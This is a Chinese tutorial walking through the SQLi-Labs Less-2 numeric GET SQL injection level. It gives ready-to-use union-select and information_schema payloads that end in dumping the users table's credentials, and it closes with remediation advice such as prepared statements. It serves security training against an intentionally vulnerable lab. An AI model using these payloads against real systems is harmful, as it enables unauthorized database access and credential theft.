SQLi-Labs Less-2 通关教程(数字型GET注入)

SQLi-Labs Less-2 通关教程(数字型GET注入)

一、关卡核心信息

项目 详情
漏洞类型 GET型数字型SQL注入(核心区别于Less-1的字符型)
核心特征 后端SQL语句中,id参数无引号包裹,直接以数字形式拼接执行
前置条件 已完成SQLi-Labs靶场搭建,数据库初始化成功
工具准备 浏览器(Chrome/Firefox)、Burp Suite(可选,抓包验证)
通关目标 掌握数字型注入的判断方法,通过联合查询逐层获取数据库名、表名、字段名及users表账号密码

二、核心原理

Less-2 与 Less-1 的核心差异在于参数拼接方式

  • Less-1(字符型):SELECT * FROM users WHERE id='1' LIMIT 0,1;
  • Less-2(数字型):SELECT * FROM users WHERE id=1 LIMIT 0,1;

数字型注入无需闭合引号,直接构造UNIONORDER BY等语句即可,这是Web安全中最基础、最易利用的注入类型之一。

三、通关步骤

步骤1:判断注入类型(核心:区分数字型 vs 字符型)

  1. 正常访问基准页

    访问地址:http://[靶场IP]/sqli-labs/Less-2/?id=1

    回显结果:页面正常显示Your Login name:DumbYour Password:Dumb,说明id=1查询有效。

  2. 测试字符型闭合(排除法)

    输入Payload:http://[靶场IP]/sqli-labs/Less-2/?id=1'

    回显结果:出现MySQL语法错误,关键提示为near '' LIMIT 0,1' at line 1

    分析:报错中仅出现' LIMIT,无'1'',说明后端未用单引号包裹id排除字符型注入

  3. 验证数字型注入(逻辑判断法)

    • 输入:http://[靶场IP]/sqli-labs/Less-2/?id=1 and 1=1
      回显:正常(逻辑为真,查询执行成功)。
    • 输入:http://[靶场IP]/sqli-labs/Less-2/?id=1 and 1=2
      回显:无结果(逻辑为假,查询无数据)。
      结论:确认是数字型注入,参数可直接参与SQL逻辑运算。

步骤2:确定查询字段数(ORDER BY 法)

核心目的:找到后端SQL语句SELECT后的字段数量,为后续联合查询做准备。

  1. 输入Payload:http://[靶场IP]/sqli-labs/Less-2/?id=1 order by 3
    回显:页面正常,说明字段数**≥3**。
  2. 输入Payload:http://[靶场IP]/sqli-labs/Less-2/?id=1 order by 4
    回显:出现Unknown column '4' in 'order clause'报错。
  3. 结论:原查询语句的字段数为3

步骤3:定位回显位置(UNION 联合查询)

核心原理:利用UNION SELECT拼接查询语句,通过构造"原查询无结果",强制显示联合查询的内容,找到页面可回显的字段位置。

  1. 构造Payload:http://[靶场IP]/sqli-labs/Less-2/?id=-1 union select 1,2,3
    • 关键说明:id=-1是不存在的数值,让原查询无结果;union select 1,2,3拼接3个占位符,匹配字段数。
  2. 回显结果:页面显示23,说明第2、3字段为可回显位置,后续可将占位符替换为查询语句。

步骤4:逐层获取数据库敏感信息

(1)查询当前数据库名与数据库用户
  • Payload:http://[靶场IP]/sqli-labs/Less-2/?id=-1 union select 1,database(),user()
  • 回显结果:database()显示当前库名(默认security),user()显示数据库连接用户(如root@localhost)。
(2)查询security数据库下的所有表名
  • Payload:http://[靶场IP]/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
  • 关键说明:
    • information_schema.tables:MySQL系统表,存储所有数据库的表信息;
    • group_concat():将多个表名拼接成一行,避免分页显示;
    • 数字型注入无需闭合引号,但若查询条件为字符串(如table_schema='security'),仍需用单引号包裹。
  • 回显结果:显示emailsreferersuagentsusers,核心目标表为users(存储账号密码)。
(3)查询users表的所有字段名
  • Payload:http://[靶场IP]/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'
  • 回显结果:显示idusernamepassword,即核心敏感字段。
(4)查询users表中的账号密码(通关核心)
  • Payload:http://[靶场IP]/sqli-labs/Less-2/?id=-1 union select 1,group_concat(username,':',password),3 from security.users
  • 回显结果:显示所有用户凭证,如Dumb:Dumbadmin:admintest:test,完成敏感数据窃取。

步骤5:Burp Suite Repeater 适配操作(教学补充)

若使用Burp Repeater测试,需注意URL编码规范(无需处理引号,仅需规范空格):

  1. 抓包后,在请求行中输入:GET /sqli-labs/Less-2/?id=-1 union select 1,group_concat(username,':',password),3 from security.users HTTP/1.1
  2. 或使用URL编码空格(%20):id=-1%20union%20select%201,group_concat(username,':',password),3%20from%20security.users
  3. 点击Send,即可在响应包中看到敏感数据。

四、漏洞修复方案

Less-2 漏洞的本质是后端未对数字型参数做类型校验,直接拼接SQL语句,修复需从"输入校验"和"语句安全"两方面入手:

  1. 类型强制转换 :后端将id参数强制转换为整数(如PHP中用intval($id)),非数字内容直接过滤;

  2. 预编译语句(推荐) :使用PDO、MySQLi预编译,避免SQL语句拼接,示例(PHP):

    php 复制代码
    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
    $stmt->execute([$id]);
  3. 最小权限原则 :限制数据库账号的查询权限,禁止前端账号访问information_schema系统表。

五、图文并茂实训标注建议

截图序号 截图内容 核心标注
1 正常访问id=1的页面 标注"数字型注入基准页,无引号包裹"
2 id=1 and 1=2的无结果页面 标注"逻辑判断法验证数字型注入"
3 order by 4的报错页面 标注"字段数为3,超出则报错"
4 联合查询显示数据库名的页面 标注"回显位置:第2、3字段"
5 获取users表账号密码的最终页面 标注"核心成果:敏感数据泄露"

六、通关总结

Less-2 作为数字型SQL注入的入门关卡,核心考点是"注入类型的判断"和"无引号闭合的注入逻辑"。与字符型注入相比,数字型注入无需考虑引号闭合,操作更简单,但判断环节是关键。

通关核心逻辑:先通过逻辑运算判断数字型注入 → 用ORDER BY确定字段数 → 用UNION SELECT定位回显位置 → 逐层查询敏感数据。掌握这一逻辑,可快速迁移到所有数字型注入场景,是SQL注入学习的重要基础。

相关推荐
JS_SWKJ1 天前
2026年起,等保三级不再只是“防火墙”的事!这类设备成过审“硬通货”
网络安全
小红卒1 天前
Go语言安全开发学习笔记3:TLS加密反弹Shell 原理与落地实现
网络安全·go语言
Chengbei111 天前
AI 自动逆向 JS 加密!自动抓密钥、出报告,彻底解放双手,解决抓包数据包加密难题
开发语言·javascript·人工智能·安全·网络安全·网络攻击模型
Z1eaf_complete1 天前
文件上传漏洞绕过方法
安全·网络安全
白帽黑客-晨哥1 天前
CTF保姆级教程:从零基础到参赛拿奖,2026年最全指南!
网络安全·渗透测试·ctf比赛·网络安全大赛
~央千澈~1 天前
《卓伊凡 · 网络安全研究室》之从网络安全角度看:为什么“养虾”其实是一种极其危险的行为
网络安全·养虾·肉鸡
℡終嚸♂6801 天前
Goby资产测绘漏洞扫描工具红队版自带1000+poc,以及附赠收集的1000+poc(附下载链接)
安全·web安全·php
乾元1 天前
红队测试:如何对大模型进行系统性的安全红队评估
运维·网络·人工智能·神经网络·安全·网络安全·安全架构
不灭锦鲤1 天前
网络安全学习第47天
学习·web安全
zhouping@1 天前
BUUCTFweb
学习·web安全·php